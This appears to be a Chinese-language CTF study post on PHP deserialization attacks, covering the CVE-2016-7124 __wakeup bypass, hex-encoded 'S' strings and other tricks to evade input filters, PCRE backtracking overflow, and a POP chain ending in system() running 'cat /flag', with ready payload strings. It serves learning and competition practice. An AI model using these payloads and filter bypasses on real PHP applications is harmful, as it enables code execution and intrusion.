php反序列化(复习)(第五章)

反序列化绕过

protected和private绕过

如果变量前是protected,则是\x00*\x00类名的形式 如果变量前是private,则是\x00类名\x00的形式

绕过:

php7.1+反序列化对类属性不敏感,将protected改成public

手动将序列化后的形式改为protected或者private的标准形式,结合urlencode和base64编码进行操作

复制代码
常见的"权限校验"题目:你需要把 isAdmin 改为 true,但它是私有的,且 __wakeup 会重置它

常见的"权限校验"题目:你需要把 isAdmin 改为 true,但它是私有的,且 __wakeup 会重置它

复制代码
class Challenge {
    private $isAdmin = false;
    public $name = "guest";

    public function __construct($name) {
        $this->name = $name;
    }

    public function __wakeup() {
        // 恶意!即使你序列化传了 true,这里也会把你改回 false
        $this->isAdmin = false;
    }

    public function __destruct() {
        if ($this->isAdmin === true) {
            echo "恭喜!Flag: CTF{Plow_Through_Magic_Methods}";
        }
    }
}

// 题目通常通过 GET 接收数据
// unserialize($_GET['payload']);

十六进制表示法

当你手动构造 Payload 时,如果直接在 URL 里打出不可见字符非常困难。这时候利用 PHP 的 S(大写)解析模式。

普通序列化:s:13:"\0User\0pass"; (这里的小写 s 不解析十六进制)

绕过 Payload:S:13:"\00User\00pass"; (改为大写 S,PHP 会把 \00 当作一个空字节字符)

PHP 7.1+ 权限不敏感特性

如果你发现题目环境的 PHP 版本较高(7.1 以上),你完全可以无视权限。

代码里定义:private $flag;

你的 Payload:s:4:"flag";s:3:"yes";

结果:即使你按照 public 的格式去传,PHP 7.1+ 依然能成功把值塞进那个 private 变量里。

__wakeup绕过(CVE-2016-7124)

复制代码
PHP 在反序列化时,会先解析字符串中的对象属性个数。
如果序列化字符串中表示属性个数的数字比实际属性个数大,PHP 就会认为这个对象发生了异常,从而跳过 __wakeup() 的执行,但对象依然会被成功创建,并接着执行 __destruct()

该漏洞存在于以下 PHP 版本:

PHP 5: < 5.6.25

PHP 7: < 7.0.10

CVE-2016-7124 它的核心作用是:强制让 __wakeup() 魔术方法失效

PHP 在反序列化时,会先解析字符串中的对象属性个数。

如果序列化字符串中表示属性个数的数字比实际属性个数大,PHP 就会认为这个对象发生了异常,从而跳过 __wakeup() 的执行,但对象依然会被成功创建,并接着执行 __destruct()

复制代码
class Demo {
    public $target = "guest";

    public function __wakeup() {
        // 这里的逻辑会阻碍我们拿到 flag
        $this->target = "guest";
    }

    public function __destruct() {
        if ($this->target === "admin") {
            echo "Flag: CTF{Wakeup_Is_Broken}";
        }
    }
}

我们整一个payload

复制代码
O:4:"Demo":1:{s:6:"target";s:5:"admin";}
O:4:"Demo": 对象类名长度 4,名称 Demo。
1: 代表这个对象有 1 个属性。
构造绕过 Payload
我们将属性个数 1 修改为任何比它大的数字,比如 2:
O:4:"Demo":2:{s:6:"target";s:5:"admin";}
修改前:
unserialize() -> 执行 __wakeup()(target 变回 guest) -> 
  脚本结束 -> 执行 __destruct()(失败)
修改后:
unserialize() -> 发现属性数量不匹配,跳过 __wakeup() -> 
  脚本结束 -> 执行 __destruct()(此时 target 仍是 admin,成功拿到 Flag)

检查版本:如果题目环境 PHP 版本太高(比如 PHP 8),这个漏洞就无效了。此时需要寻找其他的逻辑漏洞。

属性个数:只要比原个数大就行,通常习惯加 1(比如 1 改为 2,2 改为 3)。

后续影响:因为跳过了 __wakeup,如果该方法里有必要的初始化逻辑(比如数据库连接)

可能会导致后面的代码报错,但在 CTF 这种通常只看 __destruct 的场景下影响不大

利用16进制绕过字符过滤

核心原理:s vs S

在 PHP 序列化的表示中:

小写 s:代表普通的字符串(string)。

大写 S:代表"十六进制解析字符串"。当 PHP 遇到大写 S 时,它会检查字符串内容,如果发现反斜杠开头的内容(如 \00 或 \41),它会将其当做十六进制进行转换

绕过 %00(空字节)过滤

很多题目会检测请求中是否包含 %00 或 \0 来拦截 private / protected 属性。

常规 Payload:s:13:"%00User%00pass"(会被正则拦截)

十六进制绕过:S:13:"\00User\00pass"(将 s 替换为 S,并用 \00 代替空字节)

注意:哪怕你直接在 URL 里发送 \00,只要前面是 S,PHP 反序列化引擎就会把它识别为一个字节。

复制代码
绕过特定关键词(如 flag)
如果题目过滤了关键字 flag,你可以将 flag 里的字母全部或部分转为十六进制。
过滤逻辑:if(preg_match('/flag/i', $data)) die('no flag');
绕过方式:
f 的十六进制是 \66
l 的十六进制是 \6c
a 的十六进制是 \61
g 的十六进制是 \67
构造 Payload:
将 s:4:"flag" 替换为 S:4:"\66\6c\61\67"

同名方法的利用

"同名方法"(也叫 POP Chain 节点跳转)是构造漏洞链的核心技巧。

它的核心逻辑是:利用不同类中定义的"名字相同、功能不同"的方法,实现代码执行流的跳转

核心原理:寻找"跳板"

假设你的 Payload 中有一个对象 A。当 A 的某个魔术方法(如 __destruct)被触发时,它内部调用了 $this->source->show()。

如果我们将 $this->source 替换成另一个类 B 的对象,而类 B 恰好也写了一个 show() 方法,那么执行流就会从类 A 跳到类 B

假设

复制代码
class Starter {
    public $source;
    public function __destruct() {
        // 它本意是想调用某个日志类的 upload 方法
        $this->source->upload(); 
    }
}
class Logger {
    public function upload() {
        echo "日志已上传。";
    }
}
class Evil {
    public $cmd;
    public function upload() {
        // 这里的 upload 竟然有命令执行逻辑!
        system($this->cmd);
    }
}

$e = new Evil();
$e->cmd = "cat /flag";

$s = new Starter();
$s->source = $e; // 关键:对象替换,实现方法跳转
echo serialize($s);

绕过部分正则

绕过数字/大写字母过滤(利用 + 号)

复制代码
过滤规则:preg_match('/O:\d+:/', $data)

有些正则会限制类名前的长度或对象个数不能包含某些数字,或者禁止某些字符。

技巧:PHP 的反序列化引擎在解析数字时,可以接受 + 号。

示例:

正常:O:4:"Demo":1:{...}

绕过:O:+4:"Demo":+1:{...}

用途:如果正则规则是 /[0-9]/(虽然少见)或者针对特定长度的过滤,+ 号有时能改变匹配结果。

有绕过关键词过滤(利用"指向性转换")

复制代码
过滤规则:if(preg_match('/flag|User/i', $data)) die("Hacker!");

如果正则过滤了具体的类名(如 Challenge),但你必须使用这个类:

姿势 A:利用命名空间

PHP 对类名的解析比较宽松。如果题目没写 namespace,你可以尝试在类名前加反斜杠

过滤:Challenge

绕过:\Challenge 或 \.\Challenge

Payload:O:10:"\Challenge":1:{...}

姿势 B:利用十六进制

如前所述,将 s 改为 S,然后把关键词中的字母转义。

过滤:flag

绕过:S:4:"\66\6c\61\67"

绕过魔术方法过滤(PCRE 回溯溢出)

如果后端使用 preg_match 匹配 __wakeup 或 __destruct 等字样,且正则写得比较宽泛,可以利用 PHP 正则引擎的回溯限制(默认 100 万次)

原理:发送一个极其巨大的字符串(填充大量无用字符),导致 preg_match 耗尽资源返回 false(报错退出),从而绕过 if(preg_match(...)) 的判断

复制代码
// 构造一个包含极长无用数据的数组,让正则在匹配到一半时因回溯过多而失效
$long_str = str_repeat('a', 1000000); 
$payload = 'a:2:{i:0;s:1000000:"'.$long_str.'";i:1;O:4:"Demo":1:{s:4:"test";s:5:"pwned";}}';

// 此时:if(!preg_match('/__destruct/', $payload)) { unserialize($payload); } 
// 正则返回 false(因为溢出),逻辑反转成功

绕过 O: (Object) 过滤

复制代码
过滤规则:if(preg_match('/^O:/', $data))

如果正则直接禁止了 O: 开头(禁止反序列化对象),可以利用数组或指针来绕过

姿势 A:利用数组包裹

如果题目直接对输入字符串匹配 /^O:/,你可以把对象放在数组里

Payload:a:1:{i:0;O:4:"Demo":1:{...}}

此时字符串开头是 a:,完美绕过针对 O: 的开头匹配。

姿势 B:利用 C: (Custom Serialization)

如果类实现了 Serializable 接口,它序列化后会以 C: 开头。虽然这需要类本身支持,但在某些题目中可以寻找实现了该接口的"跳板类"

绕过长度限制(引用/指针)

如果正则限制了 Payload 的总长度,导致你无法构造复杂的 POP Chain

技巧:利用 R:(指针引用)

复制代码
// 假设我们要让对象的两个属性都指向同一个已有的对象
// 正常:a:2:{i:0;O:4:"Long":0:{}i:1;O:4:"Long":0:{}}
// 绕过:使用 R:2 指向序列化流中的第 2 个元素(即前面的对象)
a:2:{i:0;O:4:"Long":0:{}i:1;R:2;}
相关推荐
美狐美颜sdk2 小时前
视频平台如何实现实时美颜?Android/iOS直播APP美颜SDK接入指南
android·前端·人工智能·ios·音视频·第三方美颜sdk·视频美颜sdk
AI瓦力2 小时前
PDFBox处理JPEG2000图像报错解决方案(PDF扫描件)
开发语言
深邃-2 小时前
【C语言】-自定义类型:结构体
c语言·开发语言·数据结构·c++·html5
秋月的私语2 小时前
遥感影像拼接线优化工具:基于Qt+GDAL+OpenCV的从二到三实践
开发语言·qt·opencv
cmpxr_2 小时前
【C】结构体的内存对齐
c语言·开发语言·算法
廖圣平2 小时前
Vibe Coding Laravel 使用 ueditor 编辑器
编辑器·php·laravel
李松桃2 小时前
音乐爬虫 - Python
开发语言·python·python实操
Rsun045512 小时前
9、Java 外观模式从入门到实战
java·开发语言·外观模式